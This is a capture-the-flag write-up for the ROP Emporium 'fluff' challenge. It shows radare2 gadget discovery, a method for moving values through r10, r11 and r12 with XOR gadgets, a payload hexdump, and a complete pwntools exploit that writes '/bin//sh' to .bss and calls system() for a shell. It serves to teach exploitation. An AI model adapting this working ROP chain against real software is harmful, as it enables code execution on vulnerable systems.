ROP Emporium - fluff


Fluff was a challenge that is actually challenging, up to the point where you have a realisation and from there on it's fairly straightforward.

Exploring the binary

Nothing special going on still with this binary in terms of canaries or the likes:

[*] '/home/jasper/ropemporium/fluff/fluff'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

And again usefulFunction() contains a reference to system():

[0x00400650]> afl
0x004005a0    3 26           sym._init
0x004005d0    1 6            sym.imp.puts
0x004005e0    1 6            sym.imp.system
0x004005f0    1 6            sym.imp.printf
0x00400600    1 6            sym.imp.memset
0x00400610    1 6            sym.imp.__libc_start_main
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.setvbuf
0x00400640    1 6            sub.__gmon_start_400640
0x00400650    1 41           entry0
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry.init0
0x00400746    1 111          sym.main
0x004007b5    1 82           sym.pwnme
0x00400807    1 17           sym.usefulFunction
0x00400860    4 101          sym.__libc_csu_init
0x004008d0    1 2            sym.__libc_csu_fini
0x004008d4    1 9            sym._fini
[0x00400650]> s sym.usefulFunction
[0x00400807]> pdf
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bf5b094000     mov edi, str.bin_ls         ; 0x40095b ; "/bin/ls"
|           0x00400810      e8cbfdffff     call sym.imp.system         ; int system(const char *string)
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret
[0x00400807]>

This binary contains a new "function", questionableGadgets which as it turns out we can seek to with r2. It's not a function but r2 detects the label:

[0x00400820]> s loc.questionableGadgets
[0x00400820]> pdf
p: Cannot find function at 0x00400820
[0x00400820]> pd
            ;-- questionableGadgets:
            0x00400820      415f           pop r15
            0x00400822      4d31db         xor r11, r11
            0x00400825      415e           pop r14
            0x00400827      bf50106000     mov edi, loc.__data_start   ; 0x601050
            0x0040082c      c3             ret
            0x0040082d      415e           pop r14
            0x0040082f      4d31e3         xor r11, r12
            0x00400832      415c           pop r12
            0x00400834      41bd60406000   mov r13d, 0x604060          ; '`@`'
            0x0040083a      c3             ret
            0x0040083b      bf50106000     mov edi, loc.__data_start   ; 0x601050
            0x00400840      4d87d3         xchg r11, r10
            0x00400843      415f           pop r15
            0x00400845      41bb50206000   mov r11d, 0x602050          ; 'P `'
            0x0040084b      c3             ret
            0x0040084c      415f           pop r15
            0x0040084e      4d891a         mov qword [r10], r11
            0x00400851      415d           pop r13
            0x00400853      415c           pop r12
            0x00400855      453022         xor byte [r10], r12b
            0x00400858      c3             ret
            0x00400859      0f1f80000000.  nop dword [rax]

Inspecting these questionable gadgets however, there is one instruction which will certainly come of use:

mov qword [r10], r11

Let's see if there is anything else available:

[0x00400650]> /R/ mov [qd]word
  0x0040084e             4d891a  mov qword [r10], r11
  0x00400851               415d  pop r13
  0x00400853               415c  pop r12
  0x00400855             453022  xor byte [r10], r12b
  0x00400858                 c3  ret

  0x0040084f               891a  mov dword [rdx], ebx
  0x00400851               415d  pop r13
  0x00400853               415c  pop r12
  0x00400855             453022  xor byte [r10], r12b
  0x00400858                 c3  ret

[0x00400650]>

So either use 0x0040084e with full 8-byte moves or 0x0040084f with 4-byte moves. What follows after that is the same so let's see if we can find a way to populate r10 and r11. A simple pop into either of these registers cannot be found, but an xchg is present:

  0x00400840             4d87d3  xchg r11, r10
  0x00400843               415f  pop r15
  0x00400845       41bb50206000  mov r11d, 0x602050
  0x0040084b                 c3  ret

However we still need a way to get something into either of them.

Laying out the gadgets

After some puzzling I realised that the xor instruction might be key here. xor is often used a fast method to clear a register:

xor regA, regA

If we look at the truth table for XOR:

operand A operand B result
0 0 0
1 0 1
0 1 1
1 1 0

If we look at the middle two rows we have a property that can be used to transport a value from one register to another. Taking this into account the xor at 0x0040082f becomes interesting:

[0x00400820]> s 0x0040082f
[0x0040082f]> pd 4
            0x0040082f      4d31e3         xor r11, r12
            0x00400832      415c           pop r12
            0x00400834      41bd60406000   mov r13d, 0x604060          ; '`@`'
            0x0040083a      c3             ret
[0x0040082f]>

If we can finally locate a gadget that allows direct control over r12 we then write into r11 and by extension r10 too. The shortest gadget we can find is 0x00400832:

[0x0040082f]> /R pop r12
  0x0040082d               415e  pop r14
  0x0040082f             4d31e3  xor r11, r12
  0x00400832               415c  pop r12
  0x00400834       41bd60406000  mov r13d, 0x604060
  0x0040083a                 c3  ret

Let's take a step back to evaluate what we have so far and how it can be used to code the final ROP chain:

  • write the command (argument for system()) to .bss through r10 and r11
    • setting anything in r10 requires setting r11
      • setting r11 requires us to clear it first
      • then pop data into r12
      • then xor r12 with r11
  • pop the .bss address into rdi
  • call system() through the PLT

Exploit

And this approach works as expected:

[+] Starting local process './fluff': pid 23646
[DEBUG] Received 0x68 bytes:
    'fluff by ROP Emporium\n'
    '64bits\n'
    '\n'
    'You know changing these strings means I have to rewrite my solutions...\n'
    '> '
[DEBUG] Sent 0xd9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  22 08 40 00  00 00 00 00  │AAAA│AAAA│"·@·│····│
    00000030  00 00 00 00  00 00 00 00  32 08 40 00  00 00 00 00  │····│····│2·@·│····│
    00000040  80 10 60 00  00 00 00 00  2f 08 40 00  00 00 00 00  │··`·│····│/·@·│····│
    00000050  00 00 00 00  00 00 00 00  40 08 40 00  00 00 00 00  │····│····│@·@·│····│
    00000060  00 00 00 00  00 00 00 00  22 08 40 00  00 00 00 00  │····│····│"·@·│····│
    00000070  00 00 00 00  00 00 00 00  32 08 40 00  00 00 00 00  │····│····│2·@·│····│
    00000080  2f 62 69 6e  2f 2f 73 68  2f 08 40 00  00 00 00 00  │/bin│//sh│/·@·│····│
    00000090  00 00 00 00  00 00 00 00  4e 08 40 00  00 00 00 00  │····│····│N·@·│····│
    000000a0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000b0  c3 08 40 00  00 00 00 00  80 10 60 00  00 00 00 00  │··@·│····│··`·│····│
    000000c0  b9 05 40 00  00 00 00 00  b9 05 40 00  00 00 00 00  │··@·│····│··@·│····│
    000000d0  e0 05 40 00  00 00 00 00  0a                        │··@·│····│·│
    000000d9
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x21 bytes:
    'ROPE{a_placeholder_32byte_flag!}\n'
ROPE{a_placeholder_32byte_flag!}
$

The final exploit makes it clear that careful register usage and tracking what goes where is paramount in complex chains like these. You don't want accidentally overwrite data you painstakingly wrote into a register. That's why I think it's helpful to write a short description in the functions as to what registers the gadgets affect:

#!/usr/bin/env python2

import argparse

from pwn import *

def clear_r11():
    # Gadget:
    # 0x00400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;
    #
    # zeroes r11
    # also affects r14, edi
    chain =  p64(0x400820)
    chain += p64(0x0)

    return chain

def set_r11(data):
    # Gadgets:
    # 0x0040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret;
    # 0x00400832: pop r12; mov r13d, 0x604060; ret;
    #
    # set r11 to `data`
    # also affects r13

    chain = clear_r11()
    chain += p64(0x400832)
    chain += data
    chain += p64(0x40082f)
    chain += p64(0x0)

    return chain

def set_r10(data):
    # Gadget
    # 0x00400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
    #
    # set r10 to `data`; trashes r11.
    # also affects edi and r15

    chain = set_r11(data)
    chain += p64(0x400840)
    chain += p64(0x0)

    return chain

def write_mem(address, data):
    # Gadget
    # 0x0040084e: mov qword [r10], r11; pop r13; pop r12; xor byte [r10], r12b; ret;
    #
    # Write 'data' to 'address'
    # also affects r12 (must be zero for the xor with r10 to leave it untouched), r13

    chain = set_r10(address)
    chain += set_r11(data)
    chain += p64(0x40084e)
    chain += p64(0x0)
    chain += p64(0x0)

    return chain


def exploit():
    p = process('./fluff')
    p.recvuntil('> ')

    # Gadgets
    pop_rdi = p64(0x4008c3)
    nop = p64(0x4005b9)

    # Functions (and PLT entries)
    system_plt = p64(0x4005e0)
    bss = p64(0x601080)

    # Prepare the command in a format that we can write into the provided address (.bss)
    cmd = p64(int(enhex('/bin//sh'[::-1]), 16))

    payload = 'A' * 40
    payload += write_mem(bss, cmd)

    payload += pop_rdi
    payload += bss
    payload += nop
    payload += nop
    payload += system_plt

    #raw_input()
    p.sendline(payload)
    p.interactive()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', '-a',
            help='Binary architecture', default='amd64')
    parser.add_argument('--os', '-O',
            help='Operating system', default='linux')
    parser.add_argument('--debug', '-d',
            help='Enable debug output', default=False,
            action='store_true')
    args = parser.parse_args()

    context(os=args.os, arch=args.arch)

    if args.debug:
        context.log_level = 'debug'

    exploit()

if __name__ == '__main__':
    main()